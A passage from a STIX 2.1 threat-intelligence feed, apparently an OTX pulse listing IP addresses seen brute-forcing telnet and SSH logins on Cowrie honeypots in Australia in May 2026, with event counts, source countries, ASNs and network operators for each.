      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.37.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--70f5d89c-3a92-46ae-b9d5-b262fe9cbe17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.96.243.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d53a0edc-a051-49b6-9f34-cb28f7209ee1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.115.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8841b466-ecf9-4eca-8cbe-a39fe4af2749",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.251.20.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d49942a7-bae5-49af-ae4d-320b7112291b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.233.166.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5a4db3db-2863-4e20-bbff-f2079f22cc46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.56.45.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0c076dc8-029a-449a-b055-f9033a806057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.166.66.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7b1fc931-2396-4841-afc3-d2e080ef0a59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.179.230.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--92c4e70f-41b9-4015-84fc-9536c75f1634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.185.159.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--767ba002-ddf0-4a7b-b416-cd47d1c50045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.185.91.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--791ac1aa-076c-48a4-b781-e952be45e08f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.234.181.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: LS. ASN(s): 33567. Organisation(s): TELECOM-LESOTHO.",
      "id": "indicator--e3a4c45e-4567-4528-8b14-ed8f6bc65ff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.23.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: LS. ASN(s): 33567. Organisation(s): TELECOM-LESOTHO.",
      "id": "indicator--4ec11381-83b4-45d2-b775-a64f02a7e169",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.23.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 396420. Organisation(s): Valley Fiber Ltd..",
      "id": "indicator--121c3609-f116-40f9-ac06-18161e64dd69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.84.211.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--82c99ea0-9e5a-4290-878e-08dbd92b17a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--7fb14802-53b5-47be-b6c3-2f56061fcdb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.149.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5fb45bde-2bbb-44f9-b5dd-201372fec035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--57ce2e36-ab87-4cec-b48f-73044b0ae395",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.164.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140292. Organisation(s): CHINATELECOM Jiangsu province Suzhou 5G network.",
      "id": "indicator--58d2fedc-d748-4e97-8a17-a50087aa7d36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.106.120.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--e8e5dd8f-6fde-4c23-a300-349fb04b13fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.25.58.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6f11f9e6-494f-4834-8336-5a904eb91579",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.109.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140319. Organisation(s): CHINATELECOM Guangdong province Qingyuan 5G network.",
      "id": "indicator--b52f75b5-4256-4170-a293-1899c60c4900",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.35.50.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28267. Organisation(s): LANTEC COMUNICACAO MULTIMIDIA LTDA.",
      "id": "indicator--76985b2c-c300-4301-a401-79b65848bcf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.17.236.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--df74059f-c241-4c44-bf51-933f1e625346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.70.176.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53006. Organisation(s): ALGAR TELECOM SA.",
      "id": "indicator--dbefe185-2a28-4e06-9bba-47f174b23d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.15.137.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53005. Organisation(s): REDE CONNECT TELECOMUNICACOES LTDA.",
      "id": "indicator--d332f580-41f0-42fc-a6fe-80689c75af6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.50.62.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266223. Organisation(s): WALTER ELIAS VILLA.",
      "id": "indicator--11e728ff-50d6-4ace-ba52-c6f0d601ae9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.140.30.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--0a2f6c3b-fe9b-4d7c-a26b-30fef3e3d687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.218.201.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--13ec4924-91d7-4cab-8375-8523dbb79797",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.206.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 30619. Organisation(s): TMCEL-Mocambique.",
      "id": "indicator--0887fa6e-9839-491b-831a-6053044e386b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.158.60.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9a5a3e22-ba7c-4aa0-b7a2-0d6da54bcf3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7508e95f-f80a-4d10-8f23-c31a2a16eecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28635. Organisation(s): AVATO TECNOLOGIA S.A.",
      "id": "indicator--21117cdd-5487-4380-8247-8bc1947a7a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.71.173.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--647c210a-44a3-4be5-af79-2a4d80ce2c22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.168.238.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f48fcdcd-382e-47a7-8aa7-6b3ae5e4de73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.86.102.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--13fe1514-7a63-47bb-8189-000fee14181c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.66.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c48135cd-634e-4941-b263-f2d987cc6287",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.67.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--893e0d47-e531-4fef-af96-513e55abae92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.22.201.245']",
